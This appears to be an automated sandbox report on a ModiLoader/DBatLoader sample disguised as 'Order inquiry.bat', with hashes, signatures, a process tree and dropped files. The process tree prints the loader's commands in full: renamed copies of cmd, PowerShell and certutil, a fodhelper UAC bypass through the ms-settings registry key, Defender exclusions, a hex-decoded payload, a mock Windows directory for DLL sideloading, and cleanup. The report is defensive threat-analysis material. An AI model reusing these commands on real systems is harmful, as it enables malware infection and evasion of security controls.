Analysis

  • max time kernel
    128s
  • max time network
    135s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/03/2024, 08:25

General

  • Target

    Order inquiry.bat

  • Size

    3.1MB

  • MD5

    77266339f26515585f6996c37e3e7122

  • SHA1

    912e68d372a859015ee5e68e6f01348add0da395

  • SHA256

    4076e46f0972df38325a55a539cdddbd7f9d87b5ffd22cdf53c8187747609cda

  • SHA512

    268022315681c97be24af272fed1c5871e6bb4920b6009ed1df2a37c95cf68991b193d544eaa71412a009cbfa70948b0f57f7eac5619548c469b7a78403f82b7

  • SSDEEP

    24576:ywyJPcV/Hrrz6jT6vaQrAAAy4QE1FpVJQQul6kE82zg38H6HKpLJrvvfzrEZnfQs:JyJPcVHQNQrAAHEPJQT7Z38dEhg3xfO

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ModiLoader Second Stage 1 IoCs
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Order inquiry.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:668
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3904
      • C:\Windows\system32\extrac32.exe
        extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
          PID:4676
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:2540
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3672
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
              PID:2748
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2840
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2852
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4272
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Modifies registry class
                  • Modifies registry key
                  PID:800
              • C:\Windows\system32\fodhelper.exe
                "C:\Windows\system32\fodhelper.exe"
                4⤵
                • Drops file in Windows directory
                PID:3324
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Order inquiry.bat" "C:\\Users\\Public\\Lewxa.txt" 9
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4672
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Order inquiry.bat" "C:\\Users\\Public\\Lewxa.txt" 9
              3⤵
              • Executes dropped EXE
              PID:1620
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3664
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
              3⤵
              • Executes dropped EXE
              PID:4532
          • C:\Users\Public\Libraries\Lewxa.com
            C:\\Users\\Public\\Libraries\\Lewxa.com
            2⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of WriteProcessMemory
            PID:2480
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c mkdir "\\?\C:\Windows "
              3⤵
                PID:1448
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows \System32"
                3⤵
                  PID:224
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c "C:\Windows \System32\1177894.exe"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2116
                  • C:\Windows \System32\1177894.exe
                    "C:\Windows \System32\1177894.exe"
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:2072
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4084
                      • C:\Windows\system32\cmd.exe
                        cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                        6⤵
                          PID:2796
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                            7⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4112
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Othwubnr.PIF
                    3⤵
                      PID:5036
                    • C:\Windows\SysWOW64\SndVol.exe
                      C:\Windows\System32\SndVol.exe
                      3⤵
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: MapViewOfSection
                      PID:4324
                      • \??\c:\program files (x86)\internet explorer\iexplore.exe
                        "c:\program files (x86)\internet explorer\iexplore.exe"
                        4⤵
                          PID:5100
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:1208
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:2436
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:2372
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:4484
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:1696
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM SystemSettings.exe
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2500
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:4924
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM SystemSettingsAdminFlows.exe
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3160
                  • C:\Windows\System32\rundll32.exe
                    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                    1⤵
                      PID:1904
                    • C:\Windows\System32\NOTEPAD.EXE
                      "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Order inquiry.bat
                      1⤵
                        PID:4876

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                              Filesize

                              1KB

                              MD5

                              57f54ca96ff7c5a70b0791a3b3694723

                              SHA1

                              e264cbc90400011f9162408d5ef5e58d41794fdf

                              SHA256

                              0f1a6aaec264f27eee7bb190bbc06daca8303d9e6455100b9cc5fcfaad5b0b06

                              SHA512

                              fc3347fe3bcd3b7f0bc05424dbd9e58496437f3c9f44125ea9c2bcc80f34f80a37ee2c7c62c8680ac1f6496b8e42d61122167d487e527c8b85f1f59bdf5b8293

                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyi3ttcc.wqt.ps1

                              Filesize

                              1B

                              MD5

                              c4ca4238a0b923820dcc509a6f75849b

                              SHA1

                              356a192b7913b04c54574d18c28d46e6395428ab

                              SHA256

                              6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                              SHA512

                              4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                            • C:\Users\Public\Lewxa.txt

                              Filesize

                              2.2MB

                              MD5

                              5e3260366c3c643511ba9d5f0bffefd4

                              SHA1

                              ef84ae0ed0a835dda0c8ebab1c166e95e8da1403

                              SHA256

                              41d8ce140db1ab125f33ac3e8603d01fd85191b37b41314808cb29e069dd4243

                              SHA512

                              46e1a3f630e0710bb182a0d9cc1876d7df725c818342def0ed1a657cc6b79b9c996ae483d09357344234d725a10c4af037e67ece32293b63fcb4bf7c932acfc7

                            • C:\Users\Public\Libraries\Lewxa.com

                              Filesize

                              1.1MB

                              MD5

                              aa6d1a831ba292e2670da589b8aea980

                              SHA1

                              fe61d016a11a1ea9b85bec7139d44b1acbb6bfcd

                              SHA256

                              f5cd840346c9d16181109ba81cd4206e46f87682799b54eaa0f3cb4689a7d05d

                              SHA512

                              d0eaa2933b75d9114714ecf6c0f04b1bc4396ee570759bc3d7bfca7426f039d0234ffc6791de66332ce5682dfbc5a6daa1fbb252b68e67c65362e42a5a295c08

                            • C:\Users\Public\alpha.exe

                              Filesize

                              265KB

                              MD5

                              94912c1d73ade68f2486ed4d8ea82de6

                              SHA1

                              524ab0a40594d2b5f620f542e87a45472979a416

                              SHA256

                              9f7ebb79def0bf8cccb5a902db11746375af3fe618355fe5a69c69e4bcd50ac9

                              SHA512

                              f48a3b7a2e6426c0091bb159599921b8e4644c8ae83a2a2a82efc9d3e21e4e343d77339917d8aabed6d8025142a2a8e74bf1fa759edb6146bc6e39fbece9e05d

                            • C:\Users\Public\kn.exe

                              Filesize

                              576KB

                              MD5

                              4906f49c4e1fc1015565ef490f2f21e0

                              SHA1

                              c9e581a4df721a9414b5cb6edf75c310c29bc20b

                              SHA256

                              628ff4680652865151ecc8ae2728a6bd67b939e83220909275188a55c480dc17

                              SHA512

                              2704531f8e50c856f8f2648e91e3cd97a7d7da46597e8a69bcd958a660f151084e5de6d937e768b7fdca0e118710d0737a03871931228f41dc7764e611d9c2b5

                            • C:\Users\Public\kn.exe

                              Filesize

                              1.4MB

                              MD5

                              056c7d065f4622da9cc2848f47e2bae2

                              SHA1

                              6c6f18b0ec53dc63488961c4240ec584ac71c25f

                              SHA256

                              e09a2d7ecac1a10c89e27750a18790da06ddd7311965dbc9ab6096f636dae61c

                              SHA512

                              db158c9b669a2668149caf30df32595a488dcc831d7518ca2e793eac0885492a2eaee838914e706a585b7f3f1c801e299c697b2cec509204561bb098e16253d5

                            • C:\Users\Public\xkn.exe

                              Filesize

                              435KB

                              MD5

                              f7722b62b4014e0c50adfa9d60cafa1c

                              SHA1

                              f31c17e0453f27be85730e316840f11522ddec3e

                              SHA256

                              ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

                              SHA512

                              7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

                            • C:\Windows \System32\1177894.exe

                              Filesize

                              128KB

                              MD5

                              231ce1e1d7d98b44371ffff407d68b59

                              SHA1

                              25510d0f6353dbf0c9f72fc880de7585e34b28ff

                              SHA256

                              30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

                              SHA512

                              520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

                            • C:\Windows \System32\netutils.dll

                              Filesize

                              112KB

                              MD5

                              fa7aa88417d0c48807144a1a48fe3fbc

                              SHA1

                              6f5ec990b12d4a6075050a94e0d68d03781fa46d

                              SHA256

                              2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098

                              SHA512

                              99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

                            • C:\windows \system32\KDECO.bat

                              Filesize

                              11KB

                              MD5

                              c545650595b479c81ad6b9d8882aae39

                              SHA1

                              7a98aa2e6eee23b3c1bba876955d525bc618b3f0

                              SHA256

                              a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9

                              SHA512

                              85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

                            • memory/2072-95-0x00000000613C0000-0x00000000613E3000-memory.dmp

                              Filesize

                              140KB

                            • memory/2480-81-0x0000000000400000-0x0000000000527000-memory.dmp

                              Filesize

                              1.2MB

                            • memory/2480-82-0x00000000007C0000-0x00000000007C1000-memory.dmp

                              Filesize

                              4KB

                            • memory/2480-72-0x00000000007C0000-0x00000000007C1000-memory.dmp

                              Filesize

                              4KB

                            • memory/2480-77-0x0000000004130000-0x0000000005130000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/2480-79-0x0000000004130000-0x0000000005130000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/2852-52-0x0000029A74000000-0x0000029A74010000-memory.dmp

                              Filesize

                              64KB

                            • memory/2852-56-0x00007FFA30E30000-0x00007FFA3181C000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/2852-29-0x0000029A74290000-0x0000029A74306000-memory.dmp

                              Filesize

                              472KB

                            • memory/2852-26-0x0000029A74000000-0x0000029A74010000-memory.dmp

                              Filesize

                              64KB

                            • memory/2852-25-0x0000029A74000000-0x0000029A74010000-memory.dmp

                              Filesize

                              64KB

                            • memory/2852-23-0x00007FFA30E30000-0x00007FFA3181C000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/2852-21-0x0000029A73F80000-0x0000029A73FA2000-memory.dmp

                              Filesize

                              136KB

                            • memory/4112-102-0x000001B44C680000-0x000001B44C690000-memory.dmp

                              Filesize

                              64KB

                            • memory/4112-103-0x000001B44C680000-0x000001B44C690000-memory.dmp

                              Filesize

                              64KB

                            • memory/4112-101-0x00007FFA304F0000-0x00007FFA30EDC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/4112-119-0x000001B44C680000-0x000001B44C690000-memory.dmp

                              Filesize

                              64KB

                            • memory/4112-145-0x00007FFA304F0000-0x00007FFA30EDC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/5100-152-0x0000000000260000-0x0000000000298000-memory.dmp

                              Filesize

                              224KB

                            • memory/5100-153-0x0000000000260000-0x0000000000298000-memory.dmp

                              Filesize

                              224KB

                            • memory/5100-155-0x0000000000260000-0x0000000000298000-memory.dmp

                              Filesize

                              224KB